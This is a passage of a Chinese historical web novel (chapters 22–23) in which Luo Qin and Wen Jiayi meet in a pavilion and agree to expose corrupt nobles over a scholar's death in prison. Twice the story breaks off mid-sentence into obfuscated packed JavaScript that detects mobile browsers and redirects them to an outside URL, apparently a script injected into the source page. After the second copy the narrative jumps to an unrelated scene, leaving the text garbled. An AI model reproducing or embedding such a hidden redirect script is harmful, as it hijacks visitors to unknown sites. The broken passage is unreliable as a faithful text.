她连与自己重修旧好的流程都一五一十说得很清楚了,秦明月却自始至终连眼皮都未曾抬一下。 她的脊背依旧挺得如松柏般笔直,好像无论秦莞说什么都不会让她改变:“五姐想让我说什么?那些话都是肺腑之言,做不得假。” 秦莞盯了她很久,最后抬手狠狠扇了她一巴掌,拂袖而去。 她的目光紧紧追随着她离去的背影,闭上眼流下了泪水。 姐姐,我怎么会不知道你对我的好是出自真心呢? 在这深宫之中,你是对我最好的人,连三哥也不能与你相较。 过往的时光流动、逆转,最后回至此时此刻,秦明月缓缓抬眸,这个视角秦莞恰好看不到她,所以她望向高台上的目光总是不由自主想要落在秦莞身上。 清谈会的第一轮议题结束,秦莞站在皇后身侧眉眼弯弯地笑着,她性情如此,虽然大方认输,但到底不会影响什么,反而会落一个豁达通透的名声。 年轻的公主是这样耀眼夺目、骄傲、不可一世,如同纷乱世界的最后一抹浓烈色彩,颠倒众生也无法改变心之所向。 但她的视线偏折,谢宁高居主位,却总能在一众人中找到孤零零的她,然后面带微笑地垂下眸看她,眼神微动。 谢宁明明什么都没有说,却又仿佛说了万语千言。 阁内的谈笑声与外面的雀鸣、风吹雪落的簌簌声交织在一起。 刹那间,秦明月收回视线,闭上眼。 “……” “……” 姐姐,谢谢你。 姐姐,对不起。 只是从一开始,我就没有选择的余地。 22.第二十二章 罗沁走得很快。 她深吸一口气,往信中的地点赶去。 这八个字罗沁只听过一次,却足够让她印象深刻。 原本的计划和筹算被打乱,一个令人难以置信的事实赫然摆在眼前。 之前与自己在天音楼中把酒言欢的那位嘉懿姑娘不仅是温家的人,还是温家的少主。 而她居然还一无所知地主动邀请人家过府喝酒。 简直不要太荒谬吧。 “……” 信中邀她赴约的地点是芙蓉园西南角的一处凉亭,位于曲江锦鲤池中央。 凉亭浮在粼粼波光上,轻薄的纱幔被风掀起一角,像几片揉皱了的云。 罗沁往前走的脚步顿在原地,她的目光越过半开的粉白纱帘,隐约能看见亭中人静坐的身影。 这身影有几分熟悉,罗沁垂在身侧的手指无意识地婆娑着衣料纹理,罕见地有种近乡情怯的感觉,飞快回想起两人相处的点滴。 当时她都说过什么来着? 没有开罪这位温少主吧? 罗沁站在青石阶前,踌躇许久,终是一把掀开了纱帘。 一阵风吹动她的高马尾,发梢向后扬起扫过领口,少女闻声缓缓抬头,她穿着一身青色骑射服,云莲暗纹在光下若隐若现,腰间以白色玉带束起,宽肩窄袖,愈发衬得身形利落流畅。 温嘉懿抬手摘下银色面具,腕间系着的银饰随动作轻晃,眸中含笑地看向她:“罗大小姐?” 乍然初见,罗沁被她这张做男做女都精彩的脸猛地晃了一下,她定了定神,目光扫过檀木桌案上那盏未凉的清茶,试探道:“……嘉懿?” 温嘉懿笑了笑,站起身朝她伸出手,神色自若地大方承认:“是我。” 现下亭中只有她们二人,这副场景怎么看都像犯罪团伙的秘密接头现场。罗沁走近,冰凉的手握住她的指尖,演练了千百遍的话一时之间竟不知道从何说起。 温嘉懿松开手,不紧不慢地给她倒了杯热茶,悠然道:“你的手这样冷,看上去好像很紧张的样子?大小姐,我们之前的相处模式似乎不是这样的。” 滚烫的温度顺着杯壁迅速蔓延至掌心,驱散了她指尖的凉意,却难以掩饰罗沁心间的局促,她垂眸望着杯中晃动的茶影:“从前我不知你的身份,所以说话做事全然没有顾忌,如今……” 她话音滞住,无奈叹了口气,语气中颇有些摆烂的意味:“温少主,为免纷扰,我们还是打开天窗说亮话为好,你今日找我来,总不会是为了来向我讨要那十几坛酒吧。” 听到这个生分的称呼,温嘉懿面上笑意未改:“大小姐说笑了,自然不是。” 她抬眼直视着罗沁,用肯定的语气一字一句道:“承平十四年末,你去过刑部大牢,对吧。” 话音落地的瞬间,罗沁心头轰然一震,如遭惊雷般使得全身血液倒流逆转,她握着杯盏的手骤然收紧,指节用力掐到泛出青白。 几帧血腥残忍的画面在眼前闪回重现,罗沁想起当年贺研秋在狱中凄惨的死状,仿佛如鲠在喉,半晌都没能说出话。 “……” “……” 墙面上布满深褐色的旧痕,昏黄的烛灯中火焰忽明忽暗,他的手脚和脖颈均被重重锁链铐起,铁环深深嵌进皮肉,全身上下的关节以一种诡异的弧度弯曲着。 那时的贺研秋意识早已模糊,已经没有力气去交代太多遗言,他强撑着最后一口气,见到匆忙赶来的罗沁,只留下了一句话。 ——若有可能,请替我照顾好周菱。 她是我在这世上唯一的牵挂。 几乎在说完的下一秒,他就永远闭上了眼睛。 贺砚秋这一生命途多舛,从来没有时来运转的时刻,好在父母很爱他,为他起的名字饱含期望,希望他拥有菊花那样高洁的品格,永远有不为世家权贵折腰的气节。 但光只有这些怎么够呢? 地方官吏早已浸满贪欲,近些年来欺上瞒下,只顾搜刮民脂民膏,压在农户肩上的赋税一年重过一年,父母在他九岁时因征税交粮不足被公差活活殴打致死,一时间全家只余下贺研秋和年迈的祖母相依为命。 年幼的贺砚秋流干了眼泪,他深知自己没有办法,以他弱小不堪的身躯,改变不了任何事。 大梁律法是公平的吗? 好像是公平的,这律法经由当今陛下御笔朱批,从皇宫高墙一路推行至各州府的田垄实施,变成千家万户需要遵循的铁律法条。 但如果是公平公正的,又为什么会有那么多无辜的人,包括他的父母,他们昼夜不分辛苦耕田劳作,明明按时交足了粮食,却又因公差口中的触犯田宅户律而死。 这条律法究竟是什么,他伸长了脖子、瞪大了眼珠,无论怎么看也看不清。 从那天起,贺研秋便立誓要考取功名,他要通过念书来找到那条杀死他父母的律法,为他死去的亲人、为无数平民百姓讨一个公道。 然则时运不济,他总是差那么一点运气。 差一点就能踏进科举考场,差一点就能娶到心爱的姑娘。 贺研秋用十年寒窗苦读的时间摸透了那条千万人默许的、铁板钉钉的规则,他知道只要没有托生在富贵人家,就只有死到临头才能看明白这一切。 原来那一条律法叫作,死路一条。 “……” 罗沁记下这个人名,听完哽咽着点头。 她攥紧了掌心,提步踩过一片吱呀作响的枯草,抬手拭干泪走出刑部大牢。罗家的马车驶过长安大道,恰好与那时风光无限的郁霖擦肩而过。 对郁霖来说,在科考场上提前买通主考官做些手脚并不是什么难如登天的事,他的父亲郁国公位高权重,是最早一批拥护当今陛下登基的老臣,且又一向与谢家交好,只需稍稍授意便可瞒天过海。 如郁家这般的高门大户,依律本有世袭的荫官可享,可实际上越是位高权重,就越是贪心不足,对其子女的平庸就越难以接受。 而科考舞弊就是最简单的一条路,也是一条比受封荫官更名正言顺的捷径,不怪罗沁会用这样恶毒的心理去揣摩郁霖,很多世家子弟在这条路上都会理所当然地这样想。 她花费太多精力去取证郁霖与主考官私下是否进行过什么不为人知的交易,企图通过两人间利益交换的证据来揭露他的罪行,但最终得到的结果总是一无所获,因为郁霖压根没有做这件事。 他选择了另一个极为疯狂却堪称一劳永逸的方法——找到与他生辰八字以及一切附加因素都相匹配的贺研秋,为他们修改命格。 承平十四年末,凛冬大雪纷飞,罗沁用尽所有办法也没能救下贺研秋,因此意志颓靡了很长一段时间。 最后罗序然推开房门冷着脸问她:“你就打算这么一直消沉下去,官不做了是吧,我明日就向太常寺给你递交一份辞呈上去?” 几缕灿烂的晨光从雕花窗格中星星点点渗漏进来,晕开一片斑驳的金黄,刺得人眼睛生疼。 罗沁幡然醒悟,她还有很多别的事要做。 兄长一贯是面冷心热的性格,他关切的目光落在她身上,罗沁明白,尽管这条路虽然任重道远,她却不是踽踽独行。 她将贺研秋的骨灰托人送还给了那位名叫周菱的女子,又给了她足够的傍身钱,对她谎称贺研秋意外身亡,希望她往后能过得好。 逆天改命的事太过荒诞,在某种层面上也太难实施,其间的苛刻条件到底如何,罗沁需要重新着手调查。 然而这几年始终风平浪静,郁霖得了个闲职以后除了醉生梦死就是花天酒地,装得一副悠闲做派,明面上看不出任何破绽。 直至承平十六年初,他不知怎的忽然看上了天音楼的头牌花魁红菱,甚至不惜为她一掷千金,一度有破例纳她为妾之心。 这消息传得城中人尽皆知,未入仕前,罗沁常在风月场中混迹,故而长安城中有哪些出名的戏子伶人她比谁都清楚。 这位红菱姑娘她从前从未听过其名号,只有可能是近几年才来的长安,郁霖虽纨绔,但家训断不会允许他纳一个花楼女子为妾,他这次执意不从,若不是他在她身上另有所图,便足以说明此女手段非常。 罗沁开始暗中调查红菱的背景,却发现怎么查都是一片空白,她的出身、籍贯,全都是未知,就像是有人在为她刻意遮掩。 周菱、红菱。 真的只是巧合吗? 罗沁迫不及待地想见她一面,想确认她的真实身份,告诉她事情并非那么简单,不要贸然行事。 后来她在天音楼中偶然与那位名叫嘉懿的姑娘结识,与对方一见如故,那时她正心烦意乱不知该从何处下手,拉着嘉懿听了一曲古琴相思,没想到她竟然听出了红菱姑娘的弦外之音,还被红菱专门请到自己房中招待。 这位冷心冷情的花魁在众人印象中十分不好亲近,怎么会对嘉懿如此热络? 罗沁面上难掩惊讶之色,她想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593441|184068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道嘉懿究竟写了什么才能让红菱对她信任至此,最后得到了这八个字。 为千万人,出生入死。 “……” “……” “既然我们都多有隐瞒,你没有告知我你来天音楼的真实目的,我也没有告诉你我的真实身份,不如就算我们扯平?” 温嘉懿唇边噙着一抹笑意:“大小姐,你想做的,正好也是我想做的。在有关贺生的这件事上,你我目的一致,又为何不能合作?” 思绪回笼,罗沁神情怔住,似乎没想到她会说这些话。 在她怔愣的空隙,温嘉懿站起身,走到她面前道:“重新自我介绍一下。” “在下温瑾,字嘉懿。” 风吹起青色的衣摆,细纹泛起春水般的波澜,温嘉懿的声音温和有力,似一股清泉漫过她心间:“从前你怎么唤我,现在依旧可以怎么唤我。” “罗大小姐一时犹豫不决,对我心存疑虑是正常的,既是我先向你提出合作,自然,我也会将我的诚意摆上来。” 温嘉懿笑吟吟道:“其实,我并非是因那八个字才引得红菱青睐。” 闻言,罗沁瞳孔骤缩,像被一双无形的手攥住心脏,连呼吸也不禁放慢了几分。 她继续道:“若我没猜错,一直以来,你都在暗地里查红菱的身份,却始终没有一个结果,对吗?” “我与红菱很早便相识,她与贺生之间的关系,又或者说他们过往的经历……”温嘉懿话音顿了顿,轻轻垂下眼道:“我都知道。” “我知道贺生曾被强制修改命格,知道当年他父母究竟因何而死,也知道红菱来长安接近郁霖的真实目的。” “甚至我知道,她本命唤作周菱。” “你想名正言顺的让郁家倒台,想让郁霖做的那些见不得人的丑事大白于天下,就一定需要我的帮助,需要温家的助力。” “而我可以帮你。” 罗沁不自觉地跟着她站起身,下意识开口道:“嘉懿,我……” 两人间的距离一下子挨得很近,温嘉懿及时收住话头,似笑非笑地挑眉看她,罗沁立刻举手:“我没有要占你便宜的意思,我只是不习惯突然连名带姓的叫你。” “我方才不是说了?你我之间,不必计较那么多,可以和从前一样相处。”温嘉懿笑着循循善诱道:“不过你从前唤我嘉懿,是在唤我的小字。这么亲密的称呼……礼尚往来,我是不是也应该知道你的?” 罗沁睫毛微颤,转开眼轻咳一声:“我小字清沅,你若愿意,也可以这样唤我。” “清沅。”温嘉懿满意地点头:“或许你需要时间来考虑这件事,但我的诚意一直在这里,只要你愿意与我合作,我可以保证,无论怎样,温家决不会站在你的对立面。” “……” “嘉懿,我不是需要时间考虑。”罗沁面上的神色忽然凝滞片刻,她侧身和温嘉懿擦肩而过,衣袂交叠,过了许久缓声道:“我只是不太明白。若真如你所言,你所了解的事情真相,甚至手中掌握的人证比我要多上许多,以你的身份和我合作,到底是为了什么?你又想从我这里得到什么?” 她一步步走到亭边,伸手抚上缠绕在柱子上的纱幔,极缓地叹出一口气,真诚道:“我很讨厌两个人以利相聚去谋划什么,即便我知道世上大部分合作都是如此……而正因为我珍视你这个朋友,才不能草率拉你下水,这些事牵扯到的人太深太广,郁家又背靠着树大根深的谢家,稍有不慎便会赔上性命,我不想让你涉险。” 温嘉懿见状低低笑了一声:“谁说我和你是以利相聚了?你不仅看轻了我,也看轻了你自己。” “……” “这些事牵扯太深太广,所以你不想让我牵扯进来……”她重复了一遍她的话:“然后呢?你想和谁站在一起?你想揽下所有困难独自解决,还是拉上七公主陪你?” 罗沁被她问得愣住,温嘉懿开口道:“清沅,你的第一个问题,不管是在天音楼,还是在上元节那日的地下赌场中,我早就已经告诉你答案了。” 上元佳节,她们不约而同聚集于此。 ——“这位姑娘,你如今已经自由了,可以走了。” ——“多谢两位。” 粉色的纱幔轻拂过她的脸庞,罗沁骤然想起那日铁牢中,逆着人流而行的少女。 温嘉懿眸光平静地看着她道。 我为了什么? “我为自由,也为千万人。” 23.第二十三章 蒸腾的热气散尽,檀木桌案上搁置的两盏茶已经凉得彻底。 温嘉懿的话像一根无形却有力的线,反复在她耳畔缠绕盘旋。 ——你是为了什么,我便是为了什么。 周遭复又沉寂下来,一时之间只能听见自亭中穿梭而过的阵阵风声。 不知过去多久,罗沁深吸一口气,终于缓缓开口道:“嘉懿,我们不是以利相聚……我可以相信你吗?” 温嘉懿没有丝毫犹豫,很快答道:“你相信的不应该是我这个人,或者说不应该是温嘉懿,应该是温嘉懿在你面前做了什么,而你又看到了什么。” 这番话的话术十分精妙,温嘉懿明白她的顾虑,知道她的抱负,也清楚以她一人之力难以成事,所以没有向罗沁承诺什么虚无缥缈的话,这些听上去都太虚假,也不够具象化。 她直接给出一个真切实际的参考答案,随后抬眼看向罗沁:“清沅,一个人究竟为什么能值得让你如此相信,这其中不外乎只有一种可能,那就是这个人拥有解决问题的能力,并且这种能力足够强,有资本让你信任。” 话音落下,罗沁怔在原地:“对不起,我不应该怀疑你的动机。” “……” 她承认,自己是个很执拗的人,也认为这种偏执不算是性格缺陷,罗沁有时会觉得这种性格给自己带来了许多一往无前的勇气,让她遇人遇事不退缩不怯懦,不轻易言败。 在知道温嘉懿了解贺研秋的过往时她没有动摇,在知道她认识红菱时也不假辞色,唯独听见林婧若三个字落地的瞬间,她才难以自抑地红了眼眶。 罗沁原本软硬不吃的态度逐渐有了松动的迹象,温嘉懿闻言姿态悠闲地坐了回去,两条修长笔直的腿舒适地交叠着搭在一起,后靴跟轻抵地面,将自己那杯凉透的茶一饮而尽,挑眉道:“怀疑我的动机?我还以为,我一开始就说的很明白了。” 罗沁目不转睛地看着她,似乎欲言又止了半晌,最后提步走到她身前,下定决心要据实相告:“当时我不愿意接受你的合作邀请,不仅是因为我不想将你牵扯到这趟浑水里来,还有一个很重要的原因……是我实在害怕你是三殿下那边的人,所以多有隐瞒,不敢多言。” “这和三殿下有什么关系?难道他之前来找过你,希望你能为他所用?”温嘉懿一贯敏捷的思绪微顿,面上却不显,反问道:“先不说我和秦书压根没有一丝一毫的关系,哪怕我和他就是一边的,又有何干?” 她放下杯盏,抬手轻轻握住罗沁的手腕安抚道:“你与我既同为生民计,便没有谁对谁错可言,更无需道歉。” 目光交接,罗沁紧紧回握住她的手,指尖相碰,摇了摇头:“没有这么简单。” 她想起那些纸张边缘都已经褪色的陈年卷宗,想起朱笔批复,白纸黑字上清清楚楚写着林婧若被瞒天过海的死因,垂下眼道:“数日前,我曾去过一趟大理寺,试图说服大理寺卿重启林大人当年的案子,重新彻查她真实的死因。” “他拒绝了吧。” “是。” “他同我说了很多场面话,问我做这些得罪人不讨好的事是为了谁……实际上明里暗里都是在问我如今追随的人是不是三殿下。” “包括郁霖那个蠢货亦是如此,他跟在秦砚景身后做事这么久,也一定认为我和明月都是三殿下的人。” “除了兄长和明月以外,所有人都心照不宣的默认……”罗沁一边说着,唇边露出一点浅淡而讽刺的笑意,轻声道:“默认这位罗少卿无论是进入地下赌场,还是试图为林大人翻案,她做任何事……都是为了打压秦砚景的势头,继而拥护三殿下顺利继位。” “嘉懿,我有时觉得他们真的很可笑也很可悲,好像明明读了那么多年圣贤书,还是那么麻木,那么愚昧无知,这辈子从生到死还是只想着怎么找个人攀附依靠好飞黄腾达。而我不会站谁的边,也不会拼死追随谁,更不会为了谁而去做什么事,这世上就不能有人一心如此吗?为什么没有人相信我其实没有立场。” “我是大梁的女官,可我不想只做皇家的女官,我更想做百姓的女官,我想站在百姓的角度去切身体会他们的困苦、他们的不易,我知道这很难,但我愿意去为之努力。” “未入仕前,我确实荒唐过一阵子,但只要及时醒悟过来,依旧可以被世人称一句浪子回头金不换,我不想玩了可以回头,我的人生容错很高,却不是人人都有机会。” 罗沁说得很慢,语气低下来:“女师告诉我,我朝向来标榜以仁孝治天下,所以恨不得从里到外每一处都写上当世君主仁德礼治,广纳贤才,求贤纳谏……她说这些话的时候眼里总有藏不住的愤恨和怨怼,贤臣最终的结局是什么,像林大人那样不明不白死得凄惨吗?如果国家兴亡最终都只有无辜的百姓受苦,那我们存在的意义又是什么?” “我不希望秦砚景最终坐上那个位置,因为他看不见民间疾苦,看不到民生多艰,若他有朝一日上位,大梁迟早会走向另一个腐败堕落的极端。” 晌午时分方才雪霁,天色亮起,此时亭外忽然又飘起了细细的小雪,似柳絮纷纷扬扬落在青石阶前,转瞬间便化成了点点水光。 每岁的初雪都被视为祥瑞之兆,宫中需大摆筵席以贺天神赐福,臣民需怀感恩之心同沐其恩德,顺道祈求来年风调雨顺。 那一年父亲带着她和兄长进宫赴宴,途径宫道时,来往跪拜行礼之人皆喜笑颜开,拱手道贺一句瑞雪兆丰年。 可是那一日也很冷,凛冽的寒风吹过,象征着祥瑞福音的雪花如鹅毛般落下,将繁华奢靡的长安城覆盖包裹,罗家平日来往出行的马车车厢里已经铺上了厚厚的褥子和毯子,罗沁哈着沾了冷雾的热气,双手拢在袖中,蜷缩在最里面瑟瑟发抖。 她的肩上披着炭火烘烤过的狐裘,里三层外三层围得像粽子,可即使是这样,也依旧挡不住外面刺骨的风钻进她的领口袖口。 下车后,兄长落在她身后好大一截,罗沁没有管他,只顾闷头往前步履未停地走着,一种茫然无措的情绪忽然在她心头缓缓升起,这场雪除了冷以外,究竟带来了什么好处?有什么值得庆贺的地方吗? 这种堪称大逆不道的想法被她死死压在心底,从不敢向别人提起,因为一旦提起,便会被当成一种与众不同的怪类。 为什么旁人都觉得这场大雪是上天赐予的祥瑞之兆,而你不觉得? 退一万步来说,哪怕真的不是什么祥瑞之兆,但坐在龙椅上的帝王说是,那便只能是。 并且承认这件事也不会影响你的利益,说到底不过是一场平凡无奇的雪而已,你既进宫侍宴,享皇家之礼遇,那么顺着皇上说,甚至顺着百官说一些违心之言又会怎么样呢?会少一块肉吗? 亭外的风雪越来越大,细碎的雪粒落了满池,一阵风吹起她高高束起的发尾,温嘉懿直勾勾地看着罗沁清透明亮的眼眸,一言未发。 其实罗沁已经忘记那一年是承平几年,见她始终保持沉默,笑了笑,继续讲述这段不为人知的过往:“后来,我看见三殿下站在宫门口,他一身破旧的布衣,穿得十分单薄,一个人望着不远处墙角堆积的雪发愣。” “雪粒融化在我的狐裘上,也融化在他的肩膀上。” “他站在很远的人群之外,目光中有掩饰不住的担忧。” 她唇边的零星笑意竟显得有些苦涩:“其实那时他尚且自顾不暇,缺吃少穿,但他孤零零地站在那里,我却莫名其妙的知道了他在担忧什么。” 朱门酒肉臭,路有冻死骨。 这场天赐瑞雪对那些高门大户来说代表着富贵荣华,对皇亲国戚来说彰显了天子仁慈上苍恩惠,而对城郊贫民窟的百姓们来说却是最为沉重的致命一击,因为一场大雪就会不留情面地带走他们其中许多人不值一文的性命。 权贵豪门享乐、世家大族彻夜欢歌,这些往往建立在对黎民百姓的压迫和剥削之上,罗沁不是秦书的人,也不会成为秦书在争储之路上的同党,若有一天他走向与她意见相左的另一条路,她也会毫不犹豫与他为敌。 只是那年寒冬腊月,她从秦书洞悉一切的眼中,看到了一位被世人弃如敝履的皇子,对天下万民数不清道不尽的悲悯和同情。 “嘉懿,我想择一位英明贤德的君主,通过他为民效力,我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她丝毫没有意识到自己不该有此一问,罗沁看向她的神色中略有几分疑惑:“……你没有听人说起过吗?十几年前,谢温两家有一桩姻亲,温太师曾有意纳云锦将军的一位妹妹为侧妃,双方想以结亲来永保两家关系,而且此事乃云锦将军在背后一力促成,只是最后结局闹得不太好看,谢温两家也因此分道扬镳,故而一直鲜少被人提起。按理说,你应该比我要更清楚才是。” 联姻?谢家和温家曾经有过姻亲? 这么大的事,为何裴璟从未和她提及? 温嘉懿收回视线,很快掩饰好情绪,微笑道:“你知道的,我从出生起便被养在相宁寺中,对家里琐事都不甚了解,自然也不知道这些。” 这倒也不算撒谎,原主经历如此,她实话实说罢了。 罗沁点点头,果然没有再怀疑什么:“那女子是云锦将军同父异母的亲妹妹,虽名义上是侧妃,但世家联姻本是大事,从今往后一荣俱荣一损俱损,所以皇上也知晓了此事。” 只是那女子嫁过去后没几个月就死得不明不白,连完整的尸骨都能没留下一具,温家对外宣称说是忽得急病不治而亡,但长安城中人云亦云,都说温家家主是故意为之,要给当时风头正盛的谢家一个下马威。 这谣传完全没半分道理可言,温嘉懿听得眉头微蹙,至少她认为原主父亲绝不是一个滥杀无辜的人,这门亲事上达天听,他怎么敢明目张胆地对云锦将军的妹妹下手? 况且温缚修既然能包容原主进入并销毁地下赌场,为她处理后面的烂摊子,在此之后还没主动找她的麻烦,就足以证明他不会因为想打压谢家就随便拿一个女子开刀。 温嘉懿抬眸问道:“她叫什么名字,你还记得吗?” 罗沁闻言思忖片刻:“好像叫……” 就在此时,雕花屏风后忽然传来一声不大不小的动静,似乎是有什么东西倒了下去,她的思绪被骤然打断,两人闻声同时侧目向后看去。 温嘉懿目光微微一转,眉头舒展开来,面不改色地扯谎:“好大的风,居然把案上的砚台都给吹倒了。” 罗沁:“……啊?” 后面不是只摆了一把琴吗?